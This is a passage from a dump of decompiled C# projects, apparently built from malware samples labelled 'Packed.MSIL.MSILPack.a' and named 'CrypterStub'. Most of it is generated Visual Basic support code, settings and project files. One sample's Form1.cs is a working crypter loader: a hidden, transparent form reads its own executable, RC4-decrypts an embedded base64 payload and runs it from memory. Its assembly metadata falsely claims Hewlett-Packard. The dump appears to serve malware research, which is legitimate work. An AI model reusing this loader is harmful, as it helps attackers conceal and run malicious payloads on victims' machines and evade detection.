+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CrypterStub 3</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrypterStub 3", "Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.csproj", "{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{AB8794BB-B738-47F0-BFF1-3D82A0C9211D}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyProduct("45ybrdbt34n")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("stub")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/Form1.cs

@@ -0,0 +1,150 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "asdkfjkdfji234ijIO3j%%%iji2o3$$";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
